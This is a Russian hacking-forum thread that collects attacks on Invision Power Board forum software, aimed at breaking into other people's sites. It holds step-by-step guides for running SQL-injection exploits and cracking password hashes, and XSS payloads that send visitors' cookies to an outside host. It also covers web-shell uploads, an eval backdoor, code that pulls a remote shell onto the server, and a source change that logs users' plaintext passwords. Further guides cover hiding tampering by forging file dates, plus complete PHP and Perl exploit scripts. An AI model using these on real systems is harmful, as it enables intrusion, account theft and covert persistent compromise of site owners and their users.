ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

[Обзор уязвимостей IPB]
  #1  
Старый 26.10.2008, 13:55
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию [Обзор уязвимостей IPB]

В связи с потерей одноимённой темы, принято решение о её востановлении, с соблюдением авторских прав людей, чьи посты были изначально в этом топике.

Здесь выкладываем только уязвимости форума Invision Power Board

Просьбы о взломах, помощь в определении версии, и вопросы по этому движку убедительная просьба оставлять в соответствующих топиках:

[Задай Вопрос - Получи Ответ]
https://forum.antichat.ru/thread80624.html

Раздел: Просьбы о взломах
https://forum.antichat.ru/forum44.html

Так-же рекоммендуется к прочтению:

[Заливка шелла в Форуме]
https://forum.antichat.ru/thread76949.html

IPB 2.1.7 passive XSS
https://forum.antichat.ru/threadnav23405-1-10.html

sql-inj в ipb <=2.1.7
http://forum.antichat.ru/threadnav25088-1-10.html

Invision Power Board 2.1.7 Exploit
http://forum.antichat.ru/threadnav57362-1-10.html

Правила раздела!
https://forum.antichat.ru/thread39445.html

При копировании материала по уязвимостям IPB с других ресурсов , ссылка на источник обязательна

Последний раз редактировалось jokester; 26.10.2008 в 19:57..
 
Ответить с цитированием

[Обзор уязвимостей Ipb]: Заливка шелла, определение версии ipb, троянизация скриптов.
  #2  
Старый 26.10.2008, 14:58
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию [Обзор уязвимостей Ipb]: Заливка шелла, определение версии ipb, троянизация скриптов.

Автор k1b0rg


Вот смотрел я на нарастающие однотипнвые темы про Ipb, и решил объединить все что известно про ipb. Мой рассказ будет состоять из несколько пунктов:

1.Определение версии форума.
2.Взлом форума.
3.Закачака шелла и использование админки.
4."Трояним" форум.


(1)Определяем версию

1.3
присутсвует папки:
/html/emoticons/
/fonts/
/Skin/
/ssi_templates/
присутсвтуют файлы
ssi.php
show.php
css.php
conf_mime_types.php

2.0.*
файлы:
/sources/help.php
/sources/usercp.php
/sources/trial_functions.php
/sources/topics.php
/sources/taskloader.php
реагирует на 403 "доступ запрещен" например к папке
/ips_kernel/ как 403: Invision Power Board -> Forbidden

2.1.*
Присутсвуют папка
/ips_kernel/PEAR/
присутствует файлы:
info.php
реагирует на 403 "доступ запрещен" например к папке
/ips_kernel/ как 403: IBForums-> Forbidden

(2)А теперь займемся взломом
Взломать ipb можно двумя путями sql инъекция и xss, разберемем по порядку
каждый вид взлома:
1) sql инъекция
Качаем прогу ActivePerl с сайта [forbidden link] И устанавливаем ее.
затем качаем сплойты
http://milw0rm.com/id.php?id=1036
http://milw0rm.com/id.php?id=1013
http://milw0rm.com/id.php?id=648
http://www.web-hack.ru/exploit/source/r57ipb2.txt

в последнем сплойте исправьте строку $allchar .= chr(42); на $allchar .= chr($char);
разберем пример работы на первом сплойте, т.к. работа остальных сплойтов одинакова.
Выполняем последовательность действий: Пуск->Выполнить, набираем cmd, запуститься командная строка, дальше пишем cd C:\perl\bin где \perl\bin путь до вашей ActivePerl, потом у вас высветиться ваша папка с этой прогой, дальше набираем perl C:\ipb.pl site.ru /forum/ 1 0
где C:\ipb.pl путь до вашего сплойта, site.ru имя сайта(без http://), /forum/ папка с форумом(обязательно должна быть отделена от сайта пробелом, и с двух сторон заключена во влеши), если форум находиться по адресу forum.site.ru, то пишем просто perl C:\ipb.pl site.ru / 1 0 , 1-id пользователя хеш, которого вы хотите получить, 0- это версия форума
(0- 1.3; 1- 2.0.*)
Немного подождав(минуты 3), он вам выплюнет или хеш, либо Failed что означает что форум пропатчен.
Не забывайте что в форуме Ipb 1.3 пароль хешируеться просто md5($password), а начиная с ipb 2.0.0 пароль хешируеться уже так md5(md5($password.$solt)), чтобы расшифровать хеш форума 1.3 качаем прогу PasswordPro и парочку словарей, а чтобы расшифровать хеши форума 2.0.* качаем тоже самое+прогу (которая идет в дполнение с видео по взлому от coyl) http://video.antichat.org/author/Coyl.html
читаем еще здесь
http://www.securitylab.ru/vulnerability/205468.php
http://www.securitylab.ru/vulnerability/204662.php
http://www.securitylab.ru/vulnerability/203717.php
http://www.securitylab.ru/vulnerability/203105.php
http://www.securitylab.ru/vulnerability/202735.php
http://www.securitylab.ru/vulnerability/201944.php
http://www.securitylab.ru/vulnerability/202802.php
http://www.securitylab.ru/vulnerability/205603.php


2) xss (за указанные здесь коды благодраим White Jordan).Естественно без знака *, я его псотавил чтобы эти коды не сработали на этом форуме

Цитата:
[ema*il]wj@wj[u*rl=http://www.wj.com`=`][/url].com[/email] ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);`

[HT*ML][EMA*IL][UR*L=wj`=`][/U*RL][/EM*AIL][/co*lor][color=wh*ite]` style=`backg*round:url(javascript:docu*ment.images [1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)`[/c*olor]

[EMA*IL]mail@mail.com[U*RL=target/*style=background:url(javasc*ript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie); ][/U*RL][/EM*AIL]

[po*st=1000[to*pic=target style=background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie); ][/to*pic]][/po*st]

[em*ail]wj@wj.com[/email] ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);`

[COLOR=[IМG]http://aaa.aa/=`aaa.jpg[/IMG]]` style=background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)

[еm*ail]wj@wj.com[/em*ail] ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);`


[EM*AIL][U*RL=wj`=`][/UR*L][/EM*AIL]]` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)`

[HT*ML][co*lor=white][EM*AIL][U*RL=wj`=`][/URL][/EMA*IL][/color]` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)`
Воруем куки, подделываем их(лучше всего под Opera, или CookieEditor), но в админку мы не зайдем, незная пароль(даже если будет хеш), В АДМИНКУ МОЖНО ЗАЙТИ ТОКА ЗНАЯ ПАРОЛЬ!

(3)Заливаем шелл.

ipb 1.3
заходим под админом(как стать админом уже много раз обсуждалось)
Далее заходим в "Administration(Администрирование )" жмем "Manage Emoticons(Управление смайлами)" опускаем страницу вниз и видим такую строку "Upload an Emoticon to the emoticons directory(Загрузить смайл в его директорию)" жмем кнопку "Browse(Обзор)" и выбираем у себя на компе шелл, загружаеться он в папки в зависимости от версии:
1.3 /forum/html/emoticons/shell.php
2.* /forum/style_emoticons/default/shell.php
где shell.php имя вашего загруженного шелла.

ipb 2.*
заходим под админом и жмем "LOOK & FEEL" потом выбираем "Emoticon Manager", дальше там будет видна папка по дефолту "default" ставим напротив нее галочку, галочка показывает папку в которую нада залить ваш смайлик, в данном случае шелл.

Скачиваем базу данных.
Допустим ты ломал форум не из-за шелла, и тебе он не нужен, тогда значит ты ломал форум из-за базы. Значит сейчас мы ее скопируем(задампим).
Заходим в меню Sql Management, некторые личности копируют всю базу когда выбирают mySQL Back UP, чем сажают себя на траффик, особенно если им нужна тока таблица с юзверями. Если же тебе нужно тока что-то определенно из базы, тогда читай дальше.Выбираем mySQL Toolbox, и видим что перед нами все таблицы базы данных форума, здесь мы можем посмотреть базу данных или скачать. Я думаю тут все просто и объяснять тебе не надо.

(4)"ТРОЯНИМ" форум.

А теперь представим такую ситуацию, что ты месяц ломал форум, залил шелл, и бац, его удалили =)печально, конечно, да! Для этого мы будем "троянить" форум ,т.е. изменять исходный код форума на тот который сделает нас админом, даже если мы им не являемся. Т.е. любой рарегестрированный пользователь сможет стать админом, но в админцентре, что ты админ не будет отображаться И врядли админы будут смотреть исходники страниц, т.е. твой "троян" будет еще долгое время висеть на форуме чуешь? итак начнем.
ищем такие строки (по дефолту 382 строчка)

ipb 1.3

PHP код:
if ($GROUP['g_access_cp'] != 1)
{
do_login("You do not have access to the administrative CP");
}
else
{
$session_validated 1;
$this_session $row;

и заменяем на
PHP код:
if ($GROUP['g_access_cp'] != || $GROUP['g_access_cp'] = 1)
{

$session_validated 1;
$this_session $row;

и ищим строчки (по дефолту 442 строчка)
PHP код:
if ($GROUP['g_access_cp'] != 1)
{
do_login("You do not have access to the administrative CP");
}
else
{

//----------------------------------
// All is good, rejoice as we set a
// session for this user
//----------------------------------

$sess_id md5uniqidmicrotime() ) ); 
заменяем соотвественно на
PHP код:
if ($GROUP['g_access_cp'] != || $GROUP['g_access_cp'] = 1)

{

//----------------------------------
// All is good, rejoice as we set a
// session for this user
//----------------------------------

$sess_id md5uniqidmicrotime() ) ); 
потом ползем в файл /sources/Admin/ad_mysql.php и удаляем строки

PHP код:
if ($MEMBER['mgroup'] != $INFO['admin_group'])
{
$ADMIN->error("Sorry, these functions are for the root admin group only");

ipb 2.*
/sources/action_admin/login.php
по дефолту 147 строчка
удаляем строки
PHP код:
if ($mem['g_access_cp'] != 1)
{
$this->login_form("You do not have access to the administrative CP");
}
else

и в строке (по дефолту 206) удаляем символ "}" естественно без кавычек.
sql.php по дефолту 46 строка:
удаляем
PHP код:
if ($this->ipsclass->member['mgroup'] != $this->ipsclass->vars['admin_group'])
{
$this->ipsclass->admin->error("Sorry, these functions are for the root admin group only");

потом идем сюда
/sources/lib/admin_functions.php (строка 262)
изменяем строку:
PHP код:
$this->ipsclass->admin_session['_session_validated'] = 0
на
PHP код:
$this->ipsclass->admin_session['_session_validated'] = 1
потом удаляем строки в файле /sources/sql_mysql.php (по дефолту 76 строка)
PHP код:
if ($this->ipsclass->member['mgroup'] != $this->ipsclass->vars['admin_group'])
{
$this->ipsclass->admin->error("Sorry, these functions are for the root admin group only");

А терь объясню все поподробней, когда ты заходишь в админку(не "затрояненную"), то идет сначала проверка if ($GROUP['g_access_cp'] != 1) имеешь ли ты доступ к админке, если нет {
do_login("You do not have access to the administrative CP");
}

то пишеться что ты болван, если же имеешь пропускает дальше. Для того чтобы нас приняли за своего надо изменить как ты понял эту строку if ($GROUP['g_access_cp'] != 1) на if ($GROUP['g_access_cp'] != 1 || $GROUP['g_access_cp'] == 1 ) этим мы ей даем понять, если мы имеем доступ к админке, или не имеем, все равно нас пропустить. Знающие легко переделают код под себя, как им хочеться, впишут что хотят, но т.к. как статья расчитывалась для начинающих, то я думаю, что вам так понятней будет. Ну вот, самые важные аспекты я разобрал, если что непонятное спрашивайте. Указанный выше приём, сработал в 9/10 форумов. В десятом были поставлены права правильно, отсюда следует, что почти каждый форум уязвим. ТОЛЬКО НЕ ЗАБЫАЕМ ИЗМЕНЯТЬ ДАТУ изменения файла, командой
touch -t 200310240921
где 2003 год 10 месяц 24 число 09:21 часов
советую изначально посмотреть эту дату перед трояниваем, чтобы поставить точно такую же.

PS Материал востановлен
Дата публикации: 11.12.2005, 02:16.
Автор k1b0rg .
Были внесены изменения по оформлению, и изменены некоторые линки на рабочие

Последний раз редактировалось jokester; 26.10.2008 в 15:09..
 
Ответить с цитированием

залитие шела
  #3  
Старый 26.10.2008, 15:16
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию залитие шела

Автор ShAnKaR

залитие шела в ipb 1.3.* через шаблоны
вроде ни где не освещалась эта тема, если было то удалите.

иногда бывает что нет доступа на запись в папку смайликов тогда можно попробывать залить свой код через шаблоны.

идем в админ панели в опцию скины и шаблоны->HTML шаблоны экспортируем к себе на комп используемый на данный момент шаблон
открываем и изменяем начальный кусок кода например на :
Цитата:<!--TEMPLATE_SET|Invision Power Board Template Set,Invision Power Board,skins@invisionboard.com,http://www.invisionboard.com-->

Цитата:
<!-- PLEASE LEAVE ALL 'IBF' COMMENTS IN PLACE, DO NOT REMOVE THEM! -->
<!--IBF_GROUP_START:skin_boards-->

<!--IBF_START_FUNC|whoschatting_show|$total, $names, $link, $txt-->

<tr>
<td class='pformstrip' colspan='2'>{$total} {ibf.lang.whoschatting_total} <a href='$link'>{ibf.lang.whoschatting_loadchat}</a></td>
</tr>
<tr>
<td width="5%" class='row2'><{F_ACTIVE}></td>
<td class='row4' width='95%'>
{$names}<div class='desc' style='margin-top:5px'>$txt</div>
</td>
</tr>
EOF;
}}
eval($_GET[ww]);
exit;
function testcccc(){
function whoschatting_show($total, $names, $link, $txt) {
global $ibforums;
return <<<EOF

<!--IBF_END_FUNC|whoschatting_show-->
далее заливаем как новый шаблон, и идем в http://localhost/upload/Skin/s2/skin_boards.php?ww=phpinfo();
может быть и не s2- цифра в зависимости от номера шаблона

PS Материал востановлен
Дата публикации: 21.01.2007, 23:21
Автор ShAnKaR

Последний раз редактировалось jokester; 26.10.2008 в 15:19..
 
Ответить с цитированием

SQL-inj в админке IPB 2.1.7
  #4  
Старый 26.10.2008, 15:27
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию SQL-inj в админке IPB 2.1.7

Автор: KPOT_f!nd

Вот еще бага IPB 2.1.7
Цитата:
admin.php?adsess=тут ваша сессия админская&section=tools&act=op&code=setti nggroup_showedit&id=
-1%20union%20select%201,1,1,1,1,converge_pass_hash% 20from%20whb_members_converge%20where%20converge_i d=1
аффтор баги: creatorzzz
PS Материал востановлен
Дата публикации: 19.01.2007, 05:47
Автор KPOT_f!nd
 
Ответить с цитированием

залитие шела
  #5  
Старый 26.10.2008, 15:30
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию залитие шела

Автор ShAnKaR

инклуд локального файла в ipb 1.3 естественно если есть доступ в админку
идем в панельку для mysql и делаем запрос :
Цитата:
INSERT INTO `ipb_languages` (`lid`, `ldir`, `lname`, `lauthor`, `lemail`) VALUES ('5',concat('../../../../../../../../../tmp/1.php',char(0)), 'test', NULL, NULL);
потом идем по адресу
http://localhost/upload/admin.php?adsess=86e7bc44&act=lang&code=edit2&id=5

и смотрим че получилось, вроде ни где такое еще не упоминалось
P.S. локальный файл должен быть доступен для записи

PS Материал востановлен
Дата публикации: 29.01.2007, 23:17
Автор ShAnKaR
 
Ответить с цитированием

Invision Power Board v2.1.7 (Debug) Remote Password Change Exploit
  #6  
Старый 26.10.2008, 15:36
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию Invision Power Board v2.1.7 (Debug) Remote Password Change Exploit

Автор Dimon_Aka_Sexxx

Invision Power Board v2.1.7 (Debug) Remote Password Change Exploit
PHP код:
<?php 
/* 

 Debug Mode password change vulnerability 
 Affects Invision Power Borard 2.0.0 to 2.1.7 
 by Rapigator 
  
 This works if: 

 "Debug Level" is set to 3 
 or 
 Enable SQL Debug Mode is turned on 
  
 In General Configuration of the forum software. 

*/ 

// The forum's address up to and including 'index.php' 
$site "http://localhost/forums/index.php"

// An existing user's login name 
$name "admin"

// The new password(3-32 characters) 
$pass "1234"

// You can use a proxy... 
// $proxy = "1.2.3.4:8080"; 



// ----------------------------- 
$site .= "?"
$suffix ""
$name urlencode($name); 
$pass urlencode($pass); 
$curl curl_init($site.'act=Reg&CODE=10'); 
curl_setopt($curlCURLOPT_PROXY$proxy); 
curl_setopt($curlCURLOPT_RETURNTRANSFER1); 
curl_setopt($curlCURLOPT_TIMEOUT10); 
$page curl_exec($curl); 
curl_close($curl); 
if (
preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>([\\w]*?)_reg_antispam<\/span> \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/'$page$regs)) { 
$prefix $regs[1]; 
$regid $regs[2]; 
$regcode $regs[3]; 
} else { 
$suffix "&debug=1"
$curl curl_init($site.'act=Reg&CODE=10'.$suffix); 
curl_setopt($curlCURLOPT_PROXY$proxy); 
curl_setopt($curlCURLOPT_RETURNTRANSFER1); 
curl_setopt($curlCURLOPT_TIMEOUT10); 
$page curl_exec($curl); 
curl_close($curl); 
if (
preg_match('/INSERT INTO ([\\w]*?)_reg_antispam \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/'$page$regs)) { 
$prefix $regs[1]; 
$regid $regs[2]; 
$regcode $regs[3]; 


if (!isset(
$regid) || !isset($regcode)) { 
echo 
"Error: Probably not vulnerable, or no forum found"
exit; 


$curl curl_init($site.$suffix); 
curl_setopt($curlCURLOPT_PROXY$proxy); 
curl_setopt($curlCURLOPT_RETURNTRANSFER1); 
curl_setopt($curlCURLOPT_POST1); 
curl_setopt($curlCURLOPT_POSTFIELDS"act=Reg&CODE=11&member_name={$name}&regid={$regid}&reg_code={$regcode}"); 
curl_setopt($curlCURLOPT_TIMEOUT10); 
$page curl_exec($curl); 
curl_close($curl); 
if (
preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>'.$prefix.'_validating<\/span> \\(vid,member_id,real_group,temp_group,entry_date,  coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/'$page$regs)) { 
change_pass($regcode,$regid,$regs[1],$regs[2]); 

if (
preg_match('/INSERT INTO '.$prefix.'_validating \\(vid,member_id,real_group,temp_group,entry_date,  coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/'$page$regs)) { 
change_pass($regcode,$regid,$regs[1],$regs[2]); 


function 
change_pass($regcode,$regid,$vid,$userid) { 
global 
$site$proxy$name$pass
$curl curl_init($site.$suffix); 
curl_setopt($curlCURLOPT_PROXY$proxy); 
curl_setopt($curlCURLOPT_RETURNTRANSFER1); 
curl_setopt($curlCURLOPT_POST1); 
curl_setopt($curlCURLOPT_POSTFIELDS"act=Reg&CODE=03&type=lostpass&uid={$userid}&aid={$vid}&regid={$regid}&reg_code={$regcode}&pass1={$pass}&pass2={$pass}"); 
curl_setopt($curlCURLOPT_TIMEOUT10); 
$page curl_exec($curl); 
curl_close($curl); 
echo 
"Password Changed!"
exit; 

?>
PS Материал востановлен
Дата публикации: 30.01.2007, 10:08
Автор Dimon_Aka_Sexxx
 
Ответить с цитированием

протроянивание
  #7  
Старый 26.10.2008, 15:57
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию протроянивание

Автор VampiRUS

Если возможно изменение исходников, то для того чтоб не брутить хеши:
Создаем какую-нибудь неприметную табличку с полями id, name, password.
находим в /sources/action_public/login.php
(по умолчанию 545'ая строка):
PHP код:
if ( $this->han_login->return_code != 'SUCCESS' )
        {
            
$this->log_in_form'wrong_auth' );
        } 
после них записываем:
PHP код:
$ppass=$this->ipsclass->input['PassWord'];
        
$this->ipsclass->DB->query("INSERT INTO ibf_subscriptions_import (name,pass) values('$username','$ppass')"); 
и для того чтоб пользователям пришлось вводить пароль, а не пользовались автовходом, удаляем их сессии:
UPDATE ibf_members set member_login_key='1'
и
очистить таблицу ibf_sessions.

PS Материал востановлен
Дата публикации: 09.04.2007, 13:52
Автор VampiRUS
 
Ответить с цитированием

Ipb 2.1.7 [PDF] Активная Xss
  #8  
Старый 26.10.2008, 16:00
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию Ipb 2.1.7 [PDF] Активная Xss

Автор md5f1h

Активная XSS

На 2.1.7 проверял на ост нет...

Если создать тему и прикрепить файл pdf а внутри него написать <script>alert()</script> то при открытие файла вылетает алерт... работает на ie

Ps /дополнение/ не то что на ие. Работает при установленно адоб акробат ридере <=7
PS Материал востановлен
Дата публикации: 29.04.2007, 17:28
Автор md5f1h
 
Ответить с цитированием

залитие шела
  #9  
Старый 26.10.2008, 17:00
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию залитие шела

Автор _GaLs_

1. "Administration(Администрирование )"->"Look and feel(Внешний Вид)"->"Manage emoticons(Менеджер смайликов)"->"Browse(Обзор)"
Обычно шелл грузится, если не включен SAFE MODE и хватает прав
* /forum/style_emoticons/default/shell.php
где default выбраная папка для загрузки shell.php имя вашего загруженного шелла.

Однако, возможна такая ситуация, что запись в папку emoticons запрещена. В таком случае воспользуемся обходным маневром, и запишем файл в ту папку, которая открыта на запись. А такая папка всегда существует в IPB, и называется uploads. Эта папка используется для хранения аватаров пользователей и для хранения присоединенных к постингам файлов. Понятное дело, что эта папка всегда открыта для записи.

Для загрузки файла в папку uploads используем все ту же форму для загрузки смайликов. Несмотря на то, что эта форма предназначена дла загрузки файлов только в папку html/emoticons, это органичение можно обойти, подделав HTTP запрос.

Обратим внимание на фрагмент запроса filename="c:/myFile.php". Этот фрагмент автоматически посылается браузером, и содержит полное локальное имя отсылаемого файла. При приеме запроса, сервер отбрасывает локальную часть пути и сохраняет файл под именем myFile.php в папке html/emoticons. Но если в качестве имени файла передать например такой filename="../myFile.php", то сервер не отбрасывает путь, поскольку он не является локальным, и загружает файл в папку, по указанному пути, относительно папки html/emoticons. Таким образом, послав модифицированный запрос, мы сможем загрузить произвольный файл в произвольную папку сервера.

2. "Управление"->"Типы прикрепляемых файлов"->"Добавить новый тип прикрепляемого файла"
phtml
application/octet-stream
выбираем "Разрешить использовать этот тип файла как аватару / фотографию?":да.
идем "Настройка"->"Профили пользователей" увеличиваем "Максимальный размер загружаемого файла аватара (в килобайтах)", и ставим побольше.
после чего выбираем пользователя и редактируем его аватар на наш shell.phtml, если всё прошло удачно и апач настроен на обработку phtml, то мы по адресу картинки увидем долгожданный шелл.

3. "Управление SQL"->"утилита"->выбираем таблицу и в "Запуск запроса" пишем:


Цитата:
CREATE TABLE `ibf_shell` (`shl` TEXT NOT NULL) TYPE = MYISAM ; INSERT INTO `ibf_shell` ( `shl` ) VALUES (`пхп-код`); SELECT `shl` FROM `ibf_shell` INTO OUTFILE `путь/имяфайла.php` DROP TABLE `ibf_shell`

--------------------------------------------------------------------
Примечание Grey'я:
--------------------------------------------------------------------

Запрос который написал ты (а точнее ты написал 4 запроса) создает таблицу, запихивает в неё код шелла, затем содержимое талицы уже выводится в файл, а потом таблица удаляется.

Можно более прямо составить запрос (вывести произвольную строку в файл):

Цитата:
select '<?php system($a); ?>' into outfile 'абсолютный путь до форума/forum/uploads/1.php';

т.к. в папку uploads заливаются аватары, то на ней должны стоять права на запись.

--------------------------------------------------------------------
--------------------------------------------------------------------

4. Идём в "настройки" выбираем любую из них, жмём добавить новую настройку, и в поле "Выполнение PHP-кода до отображения или сохранения настройки:" пишем любой php код, на пример такой:

PHP код:
$linky="http://site.ru/shell.txt";
$saved="/usr/home/www/site/public_html/forum/
uploads/shell.php"
;
$from=fopen("$linky","r");
$to=fopen("$saved","w");
while(!
feof($from)){
$string=fgets($from,4096);
fputs($to,$string);
}
fclose($to);
fclose($from); 
Узнаем полный путь к uploads:
"Настройки"->"Глобальные Настройки форума"->"Путь к папке /uploads/"
обычно этот путь указывается.
--------------------------------------------------------------------
--------------------------------------------------------------------
PS Материал востановлен
Дата публикации: 24.05.2007, 09:31
Автор _GaLs_
 
Ответить с цитированием

Уязвимости Модов IPB
  #10  
Старый 26.10.2008, 17:08
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию Уязвимости Модов IPB

Автор _GaLs_

Уязвимости Модов IPB

Army System

SQL Injection Exploit
PHP код:
<?php 
/* --------------------------- EXPLOIT --------------------------- 
Invision Power Board Army System Mod 2.1 SQL Injection Exploit 
Tested on: Latest version (2.1.0) 
Discovered on: 06.02.2006 by Alex & fRoGGz 
Credits to: SecuBox Labs 

PLEASE READ THIS ! 
The query of the SQL Injection depends about the number of fields in the sql table 
We have successfully tested the exploit on a new fresh IPB 2.1.x with Army  
System Mod 2.1 installed 

IN NO EVENT SHALL THE OWNER OF THIS CODE OR CONTRIBUTORS BE LIABLE  
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER  
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
*/ 

$target "http://site.com/forums/"// <--- Where ? 
$prefix "ibf_"// <--- SQL prefix ? 
$id 1// <--- Who ? 

print_r(get_infos($target,$prefix,$id)); 
if(!
get_infos($target,$prefix,$id)) echo "failed"

function 
get_infos($target,$prefix,$id) { 

    
$inject "index.php?s=&act=army&userstat=0+UNION+SELECT+id,member_login_key,"
    
$inject.= "1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,  1,1,1,1,1,1,1,"
    
$inject.= "1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,  1,1,1,NULL,NULL,"
    
$inject.= "NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,  NULL,NULL,NULL,"
    
$inject.= "NULL+FROM+".$prefix."members+WHERE+id="

    
$filename $target $inject $id

    
$handle fopen ($filename"r"); 
        
$infos = array(); 

        if (
feof($handle)) { continue 2; } 
        if ( 
$handle ) { 
                while ( (
$buffer fgets$handle )) ) 
                { 
                        if ( 
strpos$buffer"<td class='pformleft' width=\"35%\">Name</td>") ) { 
                                
$infos['md5'] = strip_tags fgets$handle) ); 
                break; 
                        } 
                } 
        } 

    
fclose ($handle); 

        if (
count($infos) == 1) return $infos
        return 
false

?>
D2-Shoutbox [версия 4.2]
SQL Injection Exploit
PHP код:
#!/usr/bin/perl
##################################################  #######
#         _______ _______ ______         #
#         |______ |______ |     \        #
#         ______| |______ |_____/        #
#                                        #
#D2-Shoutbox 4.2(IPB Mod)<=SQL injection        #
#Created By SkOd                                        #
#SED security Team                                      #
#http://www.sed-team.be                                 #
#skod.uk@gmail.com                                      #
#ISRAEL                                                 #
##################################################  #######
#google:
#"Powered By D2-Shoutbox 4.2"
##################################################  #######
use IO::Socket;
$host $ARGV[0];
$user $ARGV[2];
$uid  $ARGV[3];
$pid  $ARGV[4];
$type $ARGV[5];

sub type()
{
if(
$type==1){$row="password";}
if(
$type==2){$row="member_login_key";}
else{print 
"Just 1 Or 2\n";exit();}
$sql="index.php?act=Shoutbox&view=saved&load=-1%20UNION%20SELECT%20null,null,null,null,".$row.",null,null,null%20FROM%20ibf_members%20where%20id=  ".$user."/*";
$path $ARGV[1].$sql;
}


sub header()
{
print 
q{
##################################################  #####################
###         D2-Shoutbox 4.2 SQL injection Exploit                 ### 
###         Tested On D2-Shoutbox 4.2 And IPB 2.4                 ###
###          Created By SkOd, Sed Security Team                 ###
##################################################  #####################
sedSB.pl [HOST] [DIR] [victim] [my id] [my md5 hash] [1-(1.*)/2-(2.*)]
sedSB.pl www.host.com /forum2 4500 f3b8a336b250ee595dc6ef6bac38b647 2
##################################################  #####################
}
}

sub sedsock()
{
$sedsock IO::Socket::INET->newProto => "tcp"PeerAddr => $hostPeerPort => "80") || die "[-]Connect Failed\r\n";
print 
$sedsock "GET $path HTTP/1.1\n";
print 
$sedsock "Host: $host\n";
print 
$sedsock "Accept: */*\n";
print 
$sedsock "Cookie: member_id=$uid; pass_hash=$pid\n";
print 
$sedsock "Connection: close\n\n";
while(
$res = <$sedsock>){
$res =~ m/shout_s'>(.*?)<\/textarea>/ && print "[+]User: $user\n[+]Md5 Hash: $1\n";
}
}

if(@ARGV < 6){
header();
}else{
type();
sedsock();
}
Remote SQL Injection Exploit 
PS Материал востановлен
Дата публикации: 24.05.2007, 16:56
Автор _GaLs_

Последний раз редактировалось jokester; 27.10.2008 в 09:05..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Обзор уязвимостей vBulletin] bandera Форумы 74 07.06.2010 16:19
[Обзор уязвимостей в форумных движках] Grey Форумы 48 28.12.2009 20:03
[Обзор уязвимостей XMBForum] [x26]VOLAND Форумы 0 19.05.2008 13:23



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ